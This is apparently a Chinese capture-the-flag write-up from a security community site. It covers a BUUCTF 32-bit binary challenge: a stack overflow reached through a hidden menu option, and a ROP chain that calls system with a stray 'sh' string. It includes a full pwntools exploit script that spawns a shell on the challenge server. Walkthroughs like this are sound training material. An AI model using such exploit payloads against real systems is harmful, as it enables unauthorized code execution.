仅有 sh ROP!!!

仅有 sh ROP

话不多说,直接上题(BUUCTF)

仅有 sh ROP!!!-侠者安全社区

反编译代码要先输入 administrator 通过验证

其中有三个选项以及一个隐藏选项

仅有 sh ROP!!!-侠者安全社区

先看隐藏选项,它将 src 值给了 dest 最后打印

仅有 sh ROP!!!-侠者安全社区

在第一个选项中发现这个 src 值是有我们决定的最多 128 字节

仅有 sh ROP!!!-侠者安全社区

看 dest 缓冲区明显存在栈溢出,同时左边 plt 表中有 system 函数可直接调用

仅有 sh ROP!!!-侠者安全社区

但是在字符串表中并未找到 /bin/sh

仅有 sh ROP!!!-侠者安全社区

/bin/sh 参数可以使用 sh 代替,使用工具 ROPgadget 看能不能查找到

仅有 sh ROP!!!-侠者安全社区

既然有那就构造 payload

from pwn import *

p = remote('node5.buuoj.cn',26585)

system = 0x080484d0
sh = 0x080482ea
main = 0x08048722

p.recvuntil('password:')
p.sendline('administrator')
p.recvuntil('Exit\n:')
p.sendline(str(1))
p.recvuntil('info:')

payload = b'a' * 0x4c + p32(system) + p32(main) + p32(sh)
p.sendline(payload)

p.recvuntil('Exit\n:')
p.sendline(str(4))
p.interactive()

成功拿到 flag

 

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情快捷回复

    暂无评论内容